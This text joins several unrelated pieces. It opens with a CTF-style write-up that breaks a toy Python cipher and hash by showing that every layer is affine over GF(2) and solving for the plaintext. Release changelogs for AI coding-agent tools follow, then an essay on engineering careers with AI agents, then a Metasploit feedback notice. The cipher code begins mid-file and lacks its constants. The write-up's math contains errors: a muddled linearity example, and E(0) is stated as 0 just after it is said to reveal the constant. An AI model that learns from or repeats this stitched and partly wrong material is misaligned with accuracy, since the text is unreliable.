PBOX = [41, 214, 131, 48, 221, 138, 55, 228, 145, 62, 235, 152, 69, 242, 159, 76, 249, 166, 83, 0, 173, 90, 7, 180, 97, 14, 187, 104, 21, 194, 111, 28, 201, 118, 35, 208, 125, 42, 215, 132, 49, 222, 139, 56, 229, 146, 63, 236, 153, 70, 243, 160, 77, 250, 167, 84, 1, 174, 91, 8, 181, 98, 15, 188, 105, 22, 195, 112, 29, 202, 119, 36, 209, 126, 43, 216, 133, 50, 223, 140, 57, 230, 147, 64, 237, 154, 71, 244, 161, 78, 251, 168, 85, 2, 175, 92, 9, 182, 99, 16, 189, 106, 23, 196, 113, 30, 203, 120, 37, 210, 127, 44, 217, 134, 51, 224, 141, 58, 231, 148, 65, 238, 155, 72, 245, 162, 79, 252, 169, 86, 3, 176, 93, 10, 183, 100, 17, 190, 107, 24, 197, 114, 31, 204, 121, 38, 211, 128, 45, 218, 135, 52, 225, 142, 59, 232, 149, 66, 239, 156, 73, 246, 163, 80, 253, 170, 87, 4, 177, 94, 11, 184, 101, 18, 191, 108, 25, 198, 115, 32, 205, 122, 39, 212, 129, 46, 219, 136, 53, 226, 143, 60, 233, 150, 67, 240, 157, 74, 247, 164, 81, 254, 171, 88, 5, 178, 95, 12, 185, 102, 19, 192, 109, 26, 199, 116, 33, 206, 123, 40, 213, 130, 47, 220, 137, 54, 227, 144, 61, 234, 151, 68, 241, 158, 75, 248, 165, 82, 255, 172, 89, 6, 179, 96, 13, 186, 103, 20, 193, 110, 27, 200, 117, 34, 207, 124]

xor = lambda a,b: bytes([x ^ y for x,y in zip(a,b)])

class SecureCipher:
    def __init__(self, key):
        if len(key) < BLOCK_SIZE:
            pad = BLOCK_SIZE - len(key)
            key += bytes([pad])*pad
        self.key = key[:BLOCK_SIZE]
        self.sbox = [KEY_SBOX[i] ^ self.key[0] for i in range(256)]

    def substitute(self, data):
        return bytes(self.sbox[b] for b in data)

    def permute(self, data):
        out = [0]*BLOCK_SIZE
        for num in range(256):
            outnum = PBOX[num]

            inbyte = num // 8
            inbit = 7 - (num % 8)

            outbyte = outnum // 8
            outbit = 7 - (outnum % 8)

            if data[inbyte] & (1 << inbit):
                out[outbyte] |= (1 << outbit)

        return bytes(out)

    def encrypt(self, data):
        data = self.pad(data)

        blocks = [data[i:i+BLOCK_SIZE]
                  for i in range(0, len(data), BLOCK_SIZE)]

        out = b''

        for block in blocks:
            for _ in range(100): # No linear or any cryptanalysis here!
                block = self.substitute(block)
                block = self.permute(block)
                block = xor(block, self.key)

            out += block

        return out

    @staticmethod
    def pad(data):
        if len(data) % BLOCK_SIZE == 0:
            return data
        diff = BLOCK_SIZE - (len(data) % BLOCK_SIZE)
        return data + bytes([diff])*diff


class SecureHash:
    def __init__(self, data=None):
        self.state = b"\x00"*BLOCK_SIZE
        if data:
            self.update(data)

    def update(self, data):
        data = SecureCipher.pad(data)

        blocks = [data[i:i+BLOCK_SIZE]
                  for i in range(0, len(data), BLOCK_SIZE)]

        for block in blocks:
            c = SecureCipher(block)
            self.state = xor(self.state, c.encrypt(block))

    def digest(self):
        return self.state

    def hexdigest(self):
        return self.state.hex()


if __name__ == "__main__":
    plaintext = input("Message: ").encode()

    h = SecureHash(plaintext)

    print("\nDigest:")
    print(h.hexdigest())

    cipher = SecureCipher(plaintext)
    ct = cipher.encrypt(plaintext)

    print("\nCiphertext:")
    print(ct.hex())

Your task is to analyze the implementation, determine whether the cipher and hash construction are secure, and recover the original plaintext if a weakness exists. Study the source carefully and verify every assumption yourself.

Now, let’s try to solve the challenge. I’ll explain the solution in detail. how the encryption works, what vulnerability was discovered, which cryptanalysis methods were used to identify it, and how to build a solver to reverse the hash and recover the original plaintext.

How the Encryption Works

Let’s first understand what the hashing code does with our input and how the digest 1d6a2172025e1858754075123b6658532d1a4e775e1f43336e227d5a4529734f is generated.

You can see that the cipher uses a fixed block size of 32 bytes, which means each block is 256 bits long. Therefore, the input is processed in 32 byte blocks. If the input length is not exactly 32 bytes or is not a multiple of 32, the remaining bytes are filled using padding. We’ll discuss how the padding works later.

The code also defines a KEY_SBOX and a PBOX. Both are simply rearrangements of the numbers from 0 to 255. The KEY_SBOXis used during the substitution step, while the PBOX is used during the permutation step.

KEY_SBOX = [211, 243, 147, 179, …….., 44]

PBOX = [41, 214, 131, 48, …….., 124]

The cipher reads the input and uses a self keyed design, meaning that the plaintext itself is used as the encryption key.

First, a new SBox is derived by XORing the first byte of the key with every entry of the original KEY_SBOX. Since the key is the plaintext itself, the generated SBOX depends entirely on the input.

After deriving this new SBOX, each block goes through the following operations:

Substitute the bytes using the derived SBOX.

Permute the bits using the PBOX.

XOR the result with the key, which is again the plaintext.

These three operations constitute a single round, and the cipher repeats this process 100 times. The output produced after the 100th round becomes the final ciphertext.

SBOX Reconstruction, Substitution, Permutation, and XOR with the Key

Let’s discuss how the encryption process works in detail by breaking down each operation step by step.

Code Breakdown:

BLOCK_SIZE = 32 The cipher processes data in blocks of 32 bytes, which corresponds to 256 bits. Two large lookup tables are defined KEY_SBOX = [211, 243, 147, 179, …, 44]
PBOX = [41, 214, 131, 48, …, 124]. KEY_SBOX is used for byte substitution, while PBOX is used for bit permutation. An XOR helper function is also defined:

xor = lambda a, b: bytes([x ^ y for x, y in zip(a, b)])

This performs a byte by byte XOR operation between two byte strings.

Constructor:

The user supplied key is first padded to 32 bytes if necessary:

if len(key) < BLOCK_SIZE:
    pad = BLOCK_SIZE - len(key)
    key += bytes([pad]) * pad

self.key = key[:BLOCK_SIZE]

If the input is shorter than 32 bytes, the padding routine extends it to exactly 32 bytes. The number of missing bytes is calculated and that value is repeatedly appended until the block reaches 32 bytes.

For example, if the input length is 29 bytes:

32 - 29 = 3

the following padding is added:

0x03 0x03 0x03

A key dependent SBOX is then generated:

self.sbox = [KEY_SBOX[i] ^ self.key[0] for i in range(256)]

Each entry of KEY_SBOX is XORed with the first byte of the key, producing a different SBOX for every key. For example, suppose the original SBOX begins as: KEY_SBOX = [211, 243, 147, 179, …, 44]. Assume the input is: “sharafu”. Since the cipher uses the plaintext itself as the key, the first byte of the key is: ‘s’ ASCII value = 115. Therefore, every entry of KEY_SBOX is XORed with 115:

211 XOR 115 = 160

243 XOR 115 = 128

147 XOR 115 = 224

179 XOR 115 = 192

…

44 XOR 115 = 95

As a result, the reconstructed SBOX begins as: self.sbox = [160, 128, 224, 192, …, 95]

Substitution Layer:

def substitute(self, data):
    return bytes(self.sbox[b] for b in data)

Each byte of the input block is replaced using the derived SBOX.

Input byte -> S-Box lookup -> Output byte

Only byte values change, their positions remain unchanged.Suppose the input block begins with: [115, 104, 97, 114]

which corresponds to: “s h a r” s = 115 h = 104 a = 97 r = 114 The substitution layer performs: Take the byte value, Use it as an index into the SBOX, Replace the original byte with the value stored at that index. For example: Take first byte ‘s’ = 115. In sbox table count 0 to 115th poition The value is 90. So replace 115 with 90. After substitution: [115, 104, 97, 114] became [90, 17, 204, 88].

Permutation Layer:

def permute(self, data):
    for num in range(256):
        outnum = PBOX[num]

The permutation layer works at the bit level. Every input bit is moved to a new position according to PBOX.

For example:

PBOX[0] = 41

means:

Input bit #0 position -> Output bit #41 position

Bit values remain the same, but their positions are rearranged. After substitution, suppose we obtain: [90, 17, 204, 88]. These values are bytes, but the PBOX operates at the bit level. For example, the first byte: 90 = 01011010. Since each block contains 32 bytes, the total number of bits is: 32 × 8 = 256 bits. The PBOX specifies where each input bit should be moved: The PBOX operates on all 256 bits of the block. For example, consider the first byte 90 to bit = 01011010, which represents only the first 8 bits of the 256 bit block. The PBOX begins as [41, 214, 131, 48, …, 124], meaning that the first bit ( 0 ) is moved to position 41, the second bit ( 1 ) is moved to position 214, the third bit ( 0 ) is moved to position 131, and so on. The bit values themselves never change. only their positions are rearranged according to the PBOX. This process continues for all 256 bits, resulting in a heavily shuffled block and providing diffusion across the entire state.

Finally, the resulting 256 bit block is XORed with the key. In this challenge, the plaintext itself is used as the key, so the permuted block is XORed with the original input block. This key mixing step is performed at the end of every round before the next round begins.

Encryption Routine:

for _ in range(100):
    block = self.substitute(block)
    block = self.permute(block)
    block = xor(block, self.key)

Each block undergoes 100 rounds consisting of:

Substitution
      ↓
Permutation
      ↓
XOR with Key

The output of the final round becomes the ciphertext.

Hash Construction:

self.state = b"\x00" * BLOCK_SIZE

for block in blocks:
    c = SecureCipher(block)
    self.state = xor(self.state, c.encrypt(block))

The hash state starts as 256 zero bits.

For each block:

The plaintext block itself is used as the encryption key.

The block is encrypted.

The result is XORed into the running hash state.

The final state is returned as the digest. In this challenge, the resulting digest is: 1d6a2172025e1858754075123b6658532d1a4e775e1f43336e227d5a4529734f

The Weakness: The Vulnerability

The core weakness of this cipher is that every component is either linear or affine over GF(2). Since the substitution layer, permutation layer, and key mixing step all preserve linearity, repeating them 100 times does not improve security. Instead, the entire 100 round cipher collapses into a single affine transformation, which can be modeled and inverted efficiently using linear algebra.

What is GF(2)?

GF stands for Galois Field. GF(2) is the simplest possible field and contains only two elements: 0 and 1. All arithmetic is performed modulo 2, meaning addition is equivalent to XOR.

0 + 0 = 0

0 + 1 = 1

1 + 0 = 1

1 + 1 = 0

while multiplication follows the usual binary rules:

0 × 0 = 0

0 × 1 = 0

1 × 0 = 0

1 × 1 = 1

Since computers represent data as bits, cryptographic algorithms are often analyzed over GF(2).

Linear vs. Nonlinear Functions

A function is considered linear over GF(2) if it satisfies: f(a XOR b) = f(a) XOR f(b) for every possible pair of inputs. For example, the function: f(x) = x so f(5 XOR 3) = 5 XOR 3 = 6 f(6) = 6 and f(5) XOR f(3) = 5 = 5 XOR 3 =3 = 5 XOR 3 = 6 Since both sides are equal, the function satisfies the linearity property. a linear function means that it does not matter whether we apply the function before or after combining the inputs. In other words, “apply the function first, then XOR” and “XOR first, then apply the function” always produce the same result.

Modern ciphers intentionally introduce strong nonlinear components because linear systems can be solved efficiently. For example, AES relies heavily on its nonlinear SBOX.

What Is an Affine Function?

An affine function is simply a linear function followed by the addition of a constant. Mathematically, it is written as: f(x) = Mx XOR c. where M is a matrix and C is a constant vector. For example: f(x) = x XOR 1010. The XOR with a constant means the function is no longer strictly linear, but it still retains a highly structured form. Affine functions are therefore still easy to analyze and manipulate using linear algebra.

Identifying the Vulnerability

The first step was analyzing the SBOX. The SBOX is expected to introduce nonlinearity. we tested whether: S(a XOR b) = S(a) XOR S(b) XOR S(0).

Every possible pair was tested. This formula comes directly from the definition of an affine function. Suppose a function is affine: f(x) = Mx XOR c. where M is a matrix and c is a constant vector. Evaluating f(a XOR b) gives: f(a XOR b) = M(a XOR b) XOR c = Ma XOR Mb XOR c.

On the other hand: f(a) XOR f(b) = (Ma XOR c) XOR (Mb XOR c) = Ma XOR Mb. since cXOR c = 0. We are missing one copy of the constant c. To recover it, we evaluate the function at zero: f(0) = M0 XOR c = c because M0 = 0. Therefore, for every affine function: f(a XOR b) = f(a) XOR f(b) XOR f(0). This is why we test the SBOX using S(0) when checking whether it is affine. For affine functions, this equation must always be true.

To verify whether the SBOX is affine, every possible pair of input bytes was tested. Since an SBOX operates on 8 bit values, there are 256 x 256 = 65536 possible pairs (a, b). The test returned True for all 65,536 cases, meaning that the affine property holds for every possible input pair. Therefore, the entire SBOX is affine over GF(2)

Why is the PBOX Linear?

The PBOX is linear because it only rearranges the positions of bits without changing their values. For example, given an input such as 10110010, the PBOX may move bit 0 to position 5, bit 1 to position 7, and so on, but the actual bit values (0 or 1) remain unchanged. Since no arithmetic is performed and only positions are shuffled, the permutation always preserves XOR operations, meaning P(A XOR B) = P(A) XOR P(B). Therefore, the PBOX is a linear transformation over GF(2).

Why Doesn’t 100 Rounds Improve Security?

One might expect that performing 100 rounds would make the cipher secure, but this is not the case. Each round consists of substitution, permutation, and XOR with the key, all of which are either affine or linear operations. The composition of affine transformations remains affine, meaning Affine * Affine * Affine is still just an affine transformation. Therefore, even after repeating the round function 100 times, the entire cipher still collapses into a single affine transformation over GF(2).

Mathematical Representation

Since every component of the cipher is either linear or affine, the entire 100-round construction can be represented as a single affine transformation: E(x) = Mx XOR c. where x is the 256 bit plaintext vector, M is a 256 x 256 binary matrix, and c is a constant vector. In other words, the complete cipher behaves like one large algebraic equation.

Understanding the Matrix

A matrix simply describes how input bits influence output bits. For example, consider:

M =

1 0 1

0 1 1

1 1 0

If the input is x = [1 0 1], matrix multiplication over GF(2) computes the output bits as bit0 XOR bit2, bit1 XOR bit2, and bit0 XOR bit1. Thus, the matrix completely captures how every input bit affects the ciphertext.

Recovering the Matrix

Because the cipher satisfies E(x) = Mx XOR c, an attacker only needs to recover M and c. Encrypting the all zero plaintext immediately reveals the constant since M0 = 0, giving E(0) = 0. The attacker then encrypts the 256 basis vectors (1000…, 0100…, 0010…, …) all possible combinations in 256 bits. each containing exactly one bit set. After XORing each resulting ciphertext with c, the remaining value directly reveals one column of M. Repeating this process for all 256 basis vectors reconstructs the entire 256 x 256 matrix.

Building the Exploit

So, let’s build the exploit. First, we verify the linearity of the SBOX by testing whether S(a XOR b) = S(a) XOR S(b) XOR S(0) holds for all possible input pairs. If the property holds for all 65536 combinations, the SBOX is confirmed to be affine. Next, we reconstruct the affine representation by encrypting the all zero vector (0…0) and each basis vector (100..0, 010..0, 001..0, … ) which allows us to recover both the matrix M and the constant vector c. Using Gaussian elimination over GF(2), we then solve the resulting linear system to recover the plaintext. Given a ciphertext y, we solve Mx = y XOR c to obtain x, which directly yields the plaintext. No brute force is required, as the entire encryption collapses into solving a system of linear equations. The cipher completely lacks a nonlinear component. Because the SBOX itself is affine over GF(2), the entire 100 round construction remains affine and can be modeled, reconstructed, and inverted using linear algebra. This allows complete plaintext recovery without knowledge of the secret key.

Now that we understand the vulnerability, we can construct a solver that uses the SBOX and PBOX tables to recover the original plaintext. In this writeup, however, I'll provide a complete recovery script specifically for this hashing scheme, which can be used to recover the plaintext corresponding to the digests created with this hashing scheme.The solver reconstructs the affine transformation implemented by the cipher and then solves the resulting system of linear equations over GF(2) to recover the original message.

GitHub - sharafu-sblsec/affine-gf2-cipher-solver: Solver for a CTF challenge recovering plaintext from a vulnerable affine block cipher using GF(2) linear algebra and Gaussian elimination.

Run the script and provide the target digest as input.

Now you can see that the hash has been successfully reversed and the original plaintext has been recovered.

This challenge is inspired by the HTB challenge “Always Has Been”. However, since the challenge is still active and continues to award points,

I cannot publish a direct writeup or solver, as doing so would violate HTB’s Terms of Service. Instead, I reconstructed the challenge with minimal modifications and wrote this explanation to demonstrate the underlying vulnerability and attack methodology for educational purposes.

Happy Hacking

Cryptanalysis: Recovering an Affine Encryption Scheme Using GF(2) Linear Algebra was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

• Added support for organization default models — admins set it in the org console; it shows as "Org default" (or "Role default") in /model when you haven't picked one yourself
• Added readable default names for sessions at start, making them easier to identify and message
• Added clickable file attachments in chat — Cmd/Ctrl-click reveals the file in Finder/Explorer
• Security: claude mcp list/get no longer spawn .mcp.json servers that a repo self-approved via a committed .claude/settings.json; untrusted workspaces show ⏸ Pending approval
• Fixed waking a background job permanently deleting its conversation and re-running the original prompt when the transcript probe misread a real transcript; the file is now set aside, never deleted
• Fixed the rate-limit warning flickering off and rate-limit telemetry being over-counted when multiple parallel requests were in flight at the moment a usage limit was hit
• Fixed duplicate recap lines after a background session's turn: a schema-rejected StructuredOutput attempt no longer renders alongside its retry
• Fixed PowerShell git diff/git grep, egrep/fgrep, and quoted search patterns containing | being reported as failures when they exit 1, matching Bash behavior
• Fixed multiple claude agents side panel issues: keyboard focus getting stuck when opening an agent, background jobs losing their subagent types on every open, and sessions showing incorrect status while actively running
• Fixed claude agents --dangerously-skip-permissions silently falling back to auto mode instead of showing the bypass disclaimer and applying bypass mode to spawned agents
• Fixed mid-turn crash recovery for Remote sessions — sessions interrupted by a server restart now auto-resume on the next worker
• Fixed sessions moved with /cd reappearing in the old directory's resume list after a non-graceful exit when the old path contained special characters
• Fixed claude plugin validate skipping local plugins whose source is "." and stopping after the first error class
• Fixed Esc Esc at an idle prompt not opening the rewind menu (regression); use Ctrl+C or Ctrl+X Ctrl+K to stop background agents
• Fixed MCP OAuth requesting the authorization server's full scopes_supported catalog when no scope is specified, causing invalid_scope failures on GitLab self-hosted and other enterprise IdPs
• Fixed /context showing 0 tokens for all tool groups on Bedrock
• Fixed /deep-research misreporting verifier failures as "all claims refuted" instead of unverified
• Fixed plugin dependency version pins not being honored when the marketplace was added as a local folder path backed by a git repo
• Fixed claude agents session status: completed rows no longer flip between "Done" and "Needs your input", stalled agents are now labeled "Needs attention", and results that mention a PR show a clickable link
• Fixed voice dictation swallowing spaces and spuriously starting a recording during very fast typing when voice mode is enabled
• Improved background session reliability: long-running commands and workflows now survive the session's process being stopped, restarted, or updated — including on Windows, where background shells are handed off instead of being killed
• Improved background agents: workers killed by a daemon restart are now automatically resumed from where they left off the next time the agents view opens
• Improved /code-review workflow: merged five cleanup finders into one, cutting token usage by roughly 25%
• Reduced per-frame rendering work in the terminal UI by skipping no-op subtree walks during streaming
• The streaming idle watchdog is now on by default for all providers — it aborts and retries when a response stream produces no events for 5 minutes. Set CLAUDE_ENABLE_STREAM_WATCHDOG=0 to disable.
• Remote Control is now disabled when ANTHROPIC_BASE_URL points at a non-Anthropic host, matching the existing behavior under CLAUDE_CODE_USE_BEDROCK/_VERTEX/_FOUNDRY
• Changed opening the agents view from a foreground session to require a single ← press instead of two, matching the behavior in background sessions

Changed

• Enabled V2 streaming remote compaction by default for compatible AI and OpenAI-compatible models, which forwards full conversation history to the provider and supports session routing, prompt caching, provider-native tool history replay, transient error retries, and configurable timeouts.

Fixed

• Fixed an issue where assistant responses and encrypted reasoning could be lost during local history trimming.
• Added title_change session metadata to the compaction entry type union to maintain type compatibility for hosts with title audit entries.

@oh-my-pi/pi-ai

Changed

• Enabled automatic removal of leaked reasoning tags for all models
• Prevented reasoning text duplication when models emit both structured and inline thinking
• Defaulted reasoning context to all turns for all Codex requests.

Fixed

• Enabled freeform tool patch support for Azure OpenAI and Codex models.
• Fixed an issue where the /usage show command returned "No usage data available" when using a custom proxy base URL for Codex.

@oh-my-pi/pi-catalog

Added

• Added support and configuration parameters for V2 streaming compaction in RemoteCompactionConfig, catalog types, and model/provider metadata.

Changed

• Enabled automatic content markup healing for all OpenAI-compatible streaming models
• Updated pricing and context window limits for several catalog models.
• Disabled reasoning capability for multiple providers in the catalog.

@oh-my-pi/pi-coding-agent

Added

• Added support for multiple configurable advisors via WATCHDOG.yml/WATCHDOG.yaml files, allowing per-advisor models, tool subsets, and instructions.
• Added /advisor configure, a full-screen, mouse-driven TUI to easily manage the advisor roster, configure models, toggle tool permissions, and edit instructions.
• Added full unified edit diffs to advisor transcripts, allowing advisors to see changes directly without re-reading files.
• Added the statusLine.compactThinkingLevel setting to render the model segment's thinking level as a single leading glyph instead of a separate text suffix.
• Added support for tracking reasoning tokens in session and advisor statistics.
• Added Remote Compaction V2 streaming configuration settings (compaction.remoteStreamingV2Enabled and compaction.v2RetainedMessageBudget) to control token budgets and toggle V2 streaming for remote compaction.
• Added the edit.citationTags setting to emit model-facing hashline section headers as OpenAI citation markers with opaque source IDs, along with citation-marker unwrapping for hashline edit parsing, diff previews, and streaming matching.
• Added mutable session titles with automatic replan title refreshes and configurable idle recaps.
• Added support for incremental yield submissions with typed sections and final results for subagents.

Changed

• Reduced session file size by removing redundant thinking signatures already present in payloads
• Advisors can now be granted any built-in agent tool (including edit, write, and bash), removing the previous read-only restriction.
• Improved the debug log and raw SSE stream viewers with a wider, bordered overlay, clearer status indicators, dynamic layouts, and mouse support for scrolling and interaction.
• Updated the idle recap feature to use an LLM-generated summary of where things stand (anchored by the live goal and active todo task) instead of a static status line.
• Refined interrupted thinking system instructions to encourage smoother continuation.

Fixed

• Fixed array-typed output schema validation by correctly assembling incremental yields into lists.
• Fixed OpenAI/Codex compatibility by removing top-level schema combinators from tool parameters.
• Fixed validation errors for untyped final yields in strict-mode providers by allowing null types.
• Fixed Alt+M default-role model configuration being disabled by the current session's context size.
• Fixed MCP type: "sse" servers by adding the legacy HTTP+SSE endpoint handshake and streaming JSON-RPC response path.
• Fixed interrupted reasoning blocks being incorrectly stripped when they contained a valid signature.
• Fixed interrupted thinking being lost in LLM provider requests after user interrupts by properly stripping trailing reasoning blocks from assistant turns while preserving them in the UI and session history.
• Fixed the live todo HUD going stale during long tool-use loops by introducing a mid-run reconciliation reminder that prompts the agent to update incomplete items.
• Fixed resumed OpenAI and OpenAI-Codex sessions losing encrypted reasoning and native assistant turns during rehydration.
• Fixed the ask tool's custom answer editor dropping the original question and option list while typing.
• Fixed auto-snapcompact failing the session on local blockers (such as text-only active models, high non-ASCII transcripts, or context budget overflows) by gracefully downgrading automatic maintenance to context-full compaction.
• Fixed autoresearch's before_agent_start handler crashing when the system prompt was undefined.
• Fixed OMP exiting silently during startup when encountering standalone Codex hook scripts in ~/.codex/hooks/.
• Fixed unreachable keyboard shortcuts in HTML session exports by changing the "toggle thinking" and "toggle tools" shortcuts from Ctrl+T and Ctrl+O to bare T and O keys.
• Fixed user-invoked /skill: prompts reaching model providers as developer turns instead of user turns, including during compaction.
• Fixed reasoning streaming being locked off for OpenAI-compatible providers that stream reasoning content without advertising reasoning support in model metadata.
• Fixed /shake and other mid-stream chat rebuilds erasing live LLM output by preserving the in-flight streaming components and pending tools.
• Fixed the time_spent status-line segment ticking continuously during idle sessions by ensuring it only accumulates active agent execution windows and resets correctly across session switches.
• Fixed expanded pending SSH previews committing provisional rows to native scrollback before the final result render.
• Fixed ssh:// rejecting POSIX-capable remotes whose login-shell classification was ambiguous by verifying a working transfer shell directly and gating transfers on that capability.

Removed

• Removed history URI support for reading agent transcripts

@oh-my-pi/omp-stats

Added

• Support for parsing named advisor transcripts using the __advisor.<slug>.jsonl naming convention.

@oh-my-pi/pi-tui

Added

• Added a desktop notification fallback for Linux terminals using D-Bus (via notify-send or gdbus), enabling completion and prompt notifications in VTE-family terminals (such as GNOME Terminal, Ptyxis, Tilix), Alacritty, and xterm. This is automatically skipped for terminals with native notification support (like VS Code and Warp) and can be disabled using the PI_NO_DESKTOP_NOTIFY=1 environment variable.

Fixed

• Fixed slash skill autocomplete not opening when there is existing prompt text, ensuring mid-prompt slash lookups correctly display and insert skill commands.
• Fixed modified Enter and keyboard shortcuts in fullscreen overlays for terminals using the xterm modifyOtherKeys fallback (such as iTerm2 when Kitty keyboard negotiation is unavailable).

@oh-my-pi/pi-utils

Added

• Added escapeXmlAttribute utility function for safe XML attribute value encoding.

Fixed

• Fixed a crash in ptree.ChildProcess.bytes() and the ssh:// read path when handling large subprocess outputs (over 128 KB) under Bun by ensuring it consistently returns a Uint8Array.

What's Changed

• fix(tui): open mid-prompt skill autocomplete by @roboomp in #3657
• fix(tui): preserve in-flight assistant turn across /shake rebuilds by @roboomp in #3658
• fix(compaction): fall back from auto-snapcompact on text-only models by @roboomp in #3661
• fix(autoresearch): guard before_agent_start against undefined event.systemPrompt by @roboomp in #3667
• fix(export): use browser-safe single-key toggles in HTML export by @roboomp in #3671
• fix(tui): allow thinking toggle after streamed reasoning by @roboomp in #3672
• fix(ai): ignore non-canonical codex baseUrl for wham/usage by @roboomp in #3682
• fix(extensions): isolate codex hook scripts so process.exit cannot kill OMP startup by @roboomp in #3683
• fix(tui): track active processing time for time_spent status segment by @roboomp in #3684
• fix(tui): use OSC 9 notifications for VTE terminals by @roboomp in #3687
• fix(coding-agent): present user skill prompts as user turns by @roboomp in #3699
• fix(coding-agent): preserve queued skill invocations by @roboomp in #3700
• fix(tui): keep Shift+Enter enhanced in iTerm fallback overlays by @roboomp in #3706
• fix(coding-agent): keep Alt+M default role selectable over context by @roboomp in #3709
• fix(mcp): support legacy SSE transport by @roboomp in #3711
• fix(utils): normalize ptree.bytes() to Uint8Array by @roboomp in #3713
• fix(ssh): pinned expanded pending preview commit-unstable by @roboomp in #3716
• fix(ssh): gate ssh:// transfers on verified POSIX shell capability by @roboomp in #3722
• fix(providers): keep runtime headers live by @roboomp in #3726

Full Changelog: v16.2.2...v16.2.3

That detail is easy to miss in the noise of every AI productivity claim. It is also the structural shift the rest of the industry is now living through. The bottleneck in software is no longer typing. It is deciding what to type. And the engineers who treat that as someone else's problem are about to plateau.

For most of the last decade, that decision sat with someone else. Software engineering was a craft you absorbed slowly, then practiced in a long, predictable sequence: Dive deep on the technology, write the code, ask Stack Overflow when stuck, escalate to a senior engineer when Stack Overflow failed, ship the ticket. The product manager owned the funnel. The engineer owned the build. Both sides treated this division as physics.

Then the funnel collapsed in five steps.

A short history of how the engineer's day got compressed

The Stack Overflow era (2014 to late 2022): The way engineers thought lived in one place. But new monthly questions on Stack Overflow are now down roughly 77% since November 2022, which was not coincidentally when ChatGPT launched. The drop is not a referendum on the site. It is a referendum on the workflow it represented.

The browser-tab era (late 2022 to 2024): The first ChatGPT generation sat outside the IDE. Engineers ran the same loop they had always run, just with a faster oracle: Write a prompt in a browser, paste the answer back into VS Code, repeat. The work was still single-threaded and engineer-driven. The leverage was real but local.

The IDE-native era (2024 to 2025): Cursor and Claude Code moved the model inside the editor and gave it access to the full repository. The senior-engineer escalation path largely dissolved. For years, the prevailing wisdom among veteran engineers was that Bash had the longest shelf life of any tool in the stack. By 2026, for a meaningful share of working developers, the first command typed in a fresh terminal is claude.

The spec-driven era (2025 to 2026): Larger context windows turned single-session work into something that previously required tickets, design docs, and sprints. Amazon's Kiro IDE team reportedly compressed feature builds from two weeks to two days using the same spec-driven workflow they were shipping. An AWS engineering team described an 18-month rearchitecture, originally scoped for 30 engineers, was completed by 6 people in 76 days. The bottleneck stopped being how long it takes to write the code. It started being how clearly the team can describe what correct looks like.

The routines era (2026): In April, Anthropic shipped Claude Code Routines: Scheduled, persistent agents that run on a cadence, on a webhook, or overnight while the laptop is closed. Cron came back. Hooks came back. The engineer's job is now part orchestration: Spin up a swarm before bed, review a stack of pull requests in the morning. Third-party wrappers like OpenClaw, which was briefly suspended by Anthropic in April before partial reinstatement, made the same point from the open-source side.

The bottleneck moved; most teams have not

Engineering has roughly tripled. Product management has not budged. The traditional 1:8 ratio of PMs to engineers, already strained, now plays out closer to an effective 1:20 because each engineer ships more per day. For instance, LinkedIn replaced its associate product manager track with a "Product Builder" program that trains generalists across product, design, and engineering. Anthropic is hiring more PMs, not fewer. The pattern is consistent across companies that have actually deployed agentic workflows in production: The system is producing built features faster than it is producing decisions about what should be built.

For engineers, this is the most important career signal of the decade, and the easiest one to miss while the productivity stories dominate the feed.

First principles matter more, not less

The instinct to declare fundamentals obsolete in the agent era gets the trend exactly wrong.

When a memory leak takes down production at 3 a.m., and the cause turns out to be a subtle ownership bug pushed 4 years ago, no agent currently in the wild closes that loop end-to-end. Operating systems, networks, concurrency, and query plans still decide who can resolve a real incident. They also decide who can spot the moments when an agent's output looks correct on the surface and is quietly, expensively, wrong underneath. The agent that wrote 70% of the code in a modern repo cannot reliably tell anyone where its assumptions about thread safety, memory ownership, or transaction isolation diverged from the runtime. The engineer who can read the diff and catch that is the engineer the rest of the team needs in the room, and that engineer is built on fundamentals, not on prompting skill.

The corollary is that fundamentals are now a leverage skill, not a hygiene skill. In 2014, knowing how a TCP retransmit worked got a debug ticket closed faster. In 2026, the same knowledge keeps an entire agent-driven release pipeline from shipping a regression at scale. The blast radius of the engineer who knows what is happening underneath has gone up, not down.

Review is the new writing

Engineers in 2026 generate code at a rate that exceeds what any of them can read carefully. The team that ships fast and survives is the team whose engineers treat reviewing AI-generated code with at least the same rigor they once reserved for writing it. The 2025 Stack Overflow developer survey put 84% of developers on AI tools, with 46% saying they do not trust the output, up sharply from 31% the year before. That gap, heavy use paired with low trust, is exactly where review skills now matter most. Coders who push lots and review little are accumulating a debt that will come due during the first real incident, and the engineer who can pay it back is the one who paired their volume with deep first-principles knowledge of the systems involved.

The new differentiator is the product funnel

Both of those are necessary. Neither is sufficient. The engineer who matters in 2026 is the one who has stopped waiting for the funnel to arrive in the form of a Jira ticket.

That means doing things the role was historically allowed to skip.

Talk to customers. Watch how they actually use the product. Read the support queue. Sit in on the sales call. The signal a product team gets through three layers of summary, an engineer can now get firsthand in an afternoon.

Generate ideas, not just estimates. The product manager who used to source ideas for 8 engineers cannot source ideas for 20 at the same fidelity. The engineer who shows up with a validated, scoped opportunity is no longer doing the PM's job. The engineer is doing the job the new ratio requires.

Work backwards from the customer. Amazon has been writing the press release first for two decades. The discipline travels well to teams of one and to swarms of agents. Both produce a great deal of working software in the wrong direction without a clear statement of what "customer wins" means before any code is written.

Stop hiding behind bandwidth. The honest answer to "Do you have capacity for this idea?" used to be 'No.' With routines, hooks, and a cooperative agent stack, the honest answer is closer to "What is the idea worth?" That is a different conversation, and a much harder one to have without a real point of view on the customer.

What the next decade rewards

The five-phase history above is not really a history of tools. It is a history of which part of the job a human had to do. The part that is still human, and that will remain human for the foreseeable future, has moved up the funnel: From typing, to reviewing, to deciding, to choosing the customer to serve and the problem to solve.

The 2026 version of a great engineer is not the one who writes the most code. It is the one who knows what to build, can prove it is worth building, and has the agent fleet plus the review discipline to ship it without the system collapsing under its own velocity.

Engineers who internalize this will spend the next decade doing the most interesting work software has ever produced. Engineers who wait for a ticket will spend it watching the ticket get written by the agent next to them.

Ishan Gupta is a software engineer at Amazon.

We are planning future work in relation to the evasion capabilities present in Metasploit Framework, and how they function/are presented to users. We are currently accepting responses to our feedback form, which means that you can shape the future of how evasive capabilities are implemented in Metasploit Framework. The proposal for the changes can be found here, and you can submit your responses to the form here. The form will stop accepting responses on the 1st of July, 2026.

